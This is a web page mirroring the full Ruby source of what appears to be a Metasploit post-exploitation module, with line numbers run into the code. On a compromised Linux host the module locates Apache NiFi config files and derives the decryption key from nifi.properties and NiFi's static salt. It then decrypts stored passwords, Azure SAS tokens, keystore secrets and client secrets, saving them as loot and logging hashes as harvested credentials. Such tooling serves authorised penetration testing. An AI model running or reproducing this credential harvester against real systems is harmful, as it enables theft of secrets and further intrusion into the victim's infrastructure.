Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/apache_nifi_credentials.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Apache NiFi Credentials Gather',13'Description' => %q{14This module will grab Apache NiFi credentials from various files on Linux.15},16'License' => MSF_LICENSE,17'Author' => [18'h00die', # Metasploit Module19'Topaco', # crypto assist20],21'Platform' => ['linux', 'unix'],22'SessionTypes' => ['shell', 'meterpreter'],23'References' => [24['URL', 'https://stackoverflow.com/questions/77391210/python-vs-ruby-aes-pbkdf2'],25['URL', 'https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#nifi_sensitive_props_key']26],27'Notes' => {28'Stability' => [CRASH_SAFE],29'Reliability' => [],30'SideEffects' => []31}32)33)3435register_options(36[37OptString.new('NIFI_PATH', [false, 'NiFi folder', '/opt/nifi/']),38OptString.new('NIFI_PROPERTIES', [false, 'NiFi Properties file', '/opt/nifi/conf/nifi.properties']),39OptString.new('NIFI_FLOW_JSON', [false, 'NiFi flow.json.gz file', '/opt/nifi/conf/flow.json.gz']),40OptString.new('NIFI_IDENTITY', [false, 'NiFi login-identity-providers.xml file', '/opt/nifi/conf/login-identity-providers.xml']),41OptString.new('NIFI_AUTHORIZERS', [false, 'NiFi authorizers file', '/opt/nifi/conf/authorizers.xml']),42OptInt.new('ITERATIONS', [true, 'Encryption iterations', 160_000])43], self.class44)45end4647def authorizers_file48return @authorizers_file if @authorizers_file4950[datastore['NIFI_authorizers'], "#{datastore['NIFI_PATH']}/conf/authorizers.xml"].each do |f|51unless file_exist? f52vprint_bad("#{f} not found")53next54end55vprint_status("Found authorizers.xml file #{f}")56unless readable? f57vprint_bad("#{f} not readable")58next59end60print_good("#{f} is readable!")61@authorizers_file = f62break63end64@authorizers_file65end6667def identity_file68return @identity_file if @identity_file6970[datastore['NIFI_IDENTITY'], "#{datastore['NIFI_PATH']}/conf/login-identity-providers.xml"].each do |f|71unless file_exist? f72vprint_bad("#{f} not found")73next74end75vprint_status("Found login-identity-providers.xml file #{f}")76unless readable? f77vprint_bad("#{f} not readable")78next79end80print_good("#{f} is readable!")81@identity_file = f82break83end84@identity_file85end8687def properties_file88return @properties_file if @properties_file8990[datastore['NIFI_PROPERTIES'], "#{datastore['NIFI_PATH']}/conf/nifi.properties"].each do |f|91unless file_exist? f92vprint_bad("#{f} not found")93next94end95vprint_status("Found nifi.properties file #{f}")96unless readable? f97vprint_bad("#{f} not readable")98next99end100print_good("#{f} is readable!")101@properties_file = f102break103end104@properties_file105end106107def flow_file108return @flow_file if @flow_file109110[datastore['NIFI_FLOW_JSON'], "#{datastore['NIFI_PATH']}/conf/flow.json.gz"].each do |f|111unless file_exist? f112vprint_bad("#{f} not found")113next114end115vprint_status("Found flow.json.gz file #{f}")116unless readable? f117vprint_bad("#{f} not readable")118next119end120print_good("#{f} is readable!")121@flow_file = f122break123end124@flow_file125end126127def salt128'NiFi Static Salt'129end130131def process_type_azure_storage_credentials_controller_service(name, service)132table_entries = []133storage_account_name = parse_aes_256_gcm_enc_string(service['storage-account-name'])134return table_entries if storage_account_name.nil?135136storage_account_name_decrypt = decrypt_aes_256_gcm(storage_account_name, @decrypted_key)137138# this is optional139if service['managed-identity-client-id']140client_id = parse_aes_256_gcm_enc_string(service['managed-identity-client-id'])141return table_entries if client_id.nil?142143client_id_decrypt = decrypt_aes_256_gcm(client_id, @decrypted_key)144else145client_id_decrypt = ''146end147148sas_token = parse_aes_256_gcm_enc_string(service['storage-sas-token'])149return table_entries if sas_token.nil?150151sas_token_decrypt = decrypt_aes_256_gcm(sas_token, @decrypted_key)152153information = "storage-account-name: #{storage_account_name_decrypt}"154information << ", storage-endpoint-suffix: #{service['storage-endpoint-suffix']}" if service['storage-endpoint-suffix']155table_username = client_id_decrypt.empty? ? '' : "managed-identity-client-id: #{client_id_decrypt}"156157@flow_json_string = @flow_json_string.gsub(service['storage-sas-token'], sas_token_decrypt)158@flow_json_string = @flow_json_string.gsub(service['storage-account-name'], storage_account_name_decrypt)159@flow_json_string = @flow_json_string.gsub(service['managed-identity-client-id'], client_id_decrypt) unless client_id_decrypt.empty?160table_entries << [name, table_username, sas_token_decrypt, information]161table_entries162end163164# This function is built to attempt to decrypt a processor/service that we dont have a specific decryptor for.165# we may miss grouping some fields together, but its better to print them out than do nothing with them.166def process_type_generic(name, processor)167table_entries = []168processor.each do |property|169property_name = property[0]170property_value = property[1]171next unless property_value.is_a? String172next unless property_value.starts_with? 'enc{'173174password = parse_aes_256_gcm_enc_string(property_value)175next if password.nil?176177password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)178table_entries << [name, '', password_decrypt, "Property name: #{property_name}"]179@flow_json_string = @flow_json_string.gsub(property_value, password_decrypt)180end181table_entries182end183184def process_type_org_apache_nifi_processors_standard_gethttp(name, processor)185table_entries = []186return table_entries unless processor['Password']187188username = processor['Username']189url = processor['URL']190password = parse_aes_256_gcm_enc_string(processor['Password'])191return table_entries if password.nil?192193password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)194table_entries << [name, username, password_decrypt, "URL: #{url}"]195@flow_json_string = @flow_json_string.gsub(processor['Password'], password_decrypt)196table_entries197end198199def process_type_standard_restricted_ssl_context_service(controller_properties)200table_entries = []201if controller_properties['Keystore Filename'] && controller_properties['Keystore Password']202name = 'Keystore'203username = controller_properties['Keystore Filename']204password = parse_aes_256_gcm_enc_string(controller_properties['Keystore Password'])205unless password.nil?206password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)207table_entries << [name, username, password_decrypt, '']208@flow_json_string = @flow_json_string.gsub(controller_properties['Keystore Password'], password_decrypt)209end210end211212if controller_properties['Truststore Filename'] && controller_properties['Truststore Password']213name = 'Truststore'214username = controller_properties['Truststore Filename']215password = parse_aes_256_gcm_enc_string(controller_properties['Truststore Password'])216unless password.nil?217password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)218table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]219@flow_json_string = @flow_json_string.gsub(controller_properties['Truststore Password'], password_decrypt)220end221end222223return table_entries unless controller_properties['Truststore Filename'] && controller_properties['key-password']224225name = 'Key Password'226username = controller_properties['Truststore Filename']227password = parse_aes_256_gcm_enc_string(controller_properties['key-password'])228return table_entries if password.nil?229230password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key)231table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"]232@flow_json_string = @flow_json_string.gsub(controller_properties['key-password'], password_decrypt)233234table_entries235end236237def decrypt_aes_256_gcm(enc_fields, key)238vprint_status(' Decryption initiated for AES-256-GCM')239vprint_status(" Nonce: #{enc_fields[:nonce]}, Auth Tag: #{enc_fields[:auth_tag]}, Ciphertext: #{enc_fields[:ciphertext]}")240cipher = OpenSSL::Cipher.new('AES-256-GCM')241cipher.decrypt242cipher.key = key243cipher.iv_len = 16244cipher.iv = [enc_fields[:nonce]].pack('H*')245cipher.auth_tag = [enc_fields[:auth_tag]].pack('H*')246247decrypted_text = cipher.update([enc_fields[:ciphertext]].pack('H*'))248decrypted_text << cipher.final249decrypted_text250end251252def parse_aes_256_gcm_enc_string(password)253password = password[4, password.length - 5] # remove enc{ at the beginning and } at the end254password.match(/(?<nonce>\w{32})(?<ciphertext>\w+)(?<auth_tag>\w{32})/) # parse out the fields255end256257def run258unless (flow_file && properties_file) || identity_file259fail_with(Failure::NotFound, 'Unable to find login-identity-providers.xml, nifi.properties and/or flow.json.gz files')260end261262properties = read_file(properties_file)263path = store_loot('nifi.properties', 'text/plain', session, properties, 'nifi.properties', 'nifi properties file')264print_good("properties data saved in: #{path}")265key = properties.scan(/^nifi.sensitive.props.key=(.+)$/).flatten.first.strip266fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if key.nil?267print_good("Key: #{key}")268# https://rubular.com/r/N0w0WHTjjdKXHZ269# https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#property-encryption-algorithms270# https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#java-cryptography-extension-jce-limited-strength-jurisdiction-policies271algorithm = properties.scan(/^nifi.sensitive.props.algorithm=([\w-]+)$/).flatten.first.strip272fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if algorithm.nil?273274columns = ['Name', 'Username', 'Password', 'Other Information']275table = Rex::Text::Table.new('Header' => 'NiFi Flow Data', 'Indent' => 1, 'Columns' => columns)276277if flow_file278flow_json = Zlib.gunzip(read_file(flow_file))279280path = store_loot('nifi.flow.json', 'application/json', session, flow_json, 'flow.json', 'nifi flow data')281print_good("Original data containing encrypted fields saved in: #{path}")282283flow_json = JSON.parse(flow_json)284@flow_json_string = JSON.pretty_generate(flow_json) # so we can save an unencrypted version as well285286# NIFI_PBKDF2_AES_GCM_256 is the default as of 1.14.0287# leave this as an if statement so it can be expanded to include more algorithms in the future288if algorithm == 'NIFI_PBKDF2_AES_GCM_256'289# https://gist.github.com/tylerpace/8f64b7e00ffd9fb1ef5ea70df0f9442f290@decrypted_key = OpenSSL::PKCS5.pbkdf2_hmac(key, salt, datastore['ITERATIONS'], 32, OpenSSL::Digest.new('SHA512'))291292vprint_status('Checking root group processors')293flow_json.dig('rootGroup', 'processors').each do |processor|294vprint_status(" Analyzing #{processor['processor']} of type #{processor['type']}")295case processor['type']296when 'org.apache.nifi.processors.standard.GetHTTP'297table_entries = process_type_org_apache_nifi_processors_standard_gethttp(processor['name'], processor['properties'])298else299table_entries = process_type_generic(processor['name'], processor['properties'])300end301table.rows.concat table_entries302end303304vprint_status('Checking root group controller services')305flow_json.dig('rootGroup', 'controllerServices').each do |service|306vprint_status(" Analyzing #{service['name']} of type #{service['type']}")307case service['type']308when 'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService_v12',309'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService'310table_entries = process_type_azure_storage_credentials_controller_service(service['name'], service['properties'])311when 'org.apache.nifi.ssl.StandardRestrictedSSLContextService'312table_entries = process_type_standard_restricted_ssl_context_service(service['properties'])313else314table_entries = process_type_generic(service['name'], service['properties'])315end316table.rows.concat table_entries317end318319else320print_bad("Processor for #{algorithm} not implemented in module. Use nifi-toolkit to potentially change algorithm.")321end322323unless @flow_json_string == JSON.pretty_generate(flow_json) # dont write if we didn't change anything324path = store_loot('nifi.flow.decrypted.json', 'application/json', session, @flow_json_string, 'flow.decrypted.json', 'nifi flow data decrypted')325print_good("Decrypted data saved in: #{path}")326end327end328329vprint_status('Checking identity file')330if identity_file331identity_content = read_file(identity_file)332xml = Nokogiri::XML.parse(identity_content)333334xml.xpath('//loginIdentityProviders//provider').each do |c|335name = c.xpath('identifier').text336username = c.xpath('property[@name="Username"]').text337hash = c.xpath('property[@name="Password"]').text338next if username.blank? || hash.blank?339340table << [name, username, hash, 'From login-identity-providers.xml']341342credential_data = {343jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),344origin_type: :session,345post_reference_name: refname,346private_type: :nonreplayable_hash,347private_data: hash,348session_id: session_db_id,349username: username,350workspace_id: myworkspace_id351}352create_credential(credential_data)353end354end355356vprint_status('Checking authorizers file')357if authorizers_file358authorizers_content = read_file(authorizers_file)359xml = Nokogiri::XML.parse(authorizers_content)360361xml.xpath('//authorizers//userGroupProvider').each do |c|362next if c.xpath('property[@name="Client Secret"]').text.blank?363364name = c.xpath('identifier').text365username = "Directory/Tenant ID: #{c.xpath('property[@name="Directory ID"]').text}" \366", Application ID: #{c.xpath('property[@name="Application ID"]').text}"367password = c.xpath('property[@name="Client Secret"]').text368next if username.blank? || hash.blank?369370table << [name, username, password, 'From authorizers.xml']371end372end373374if !table.rows.empty?375print_good('NiFi Flow Values')376print_line(table.to_s)377end378end379end380381382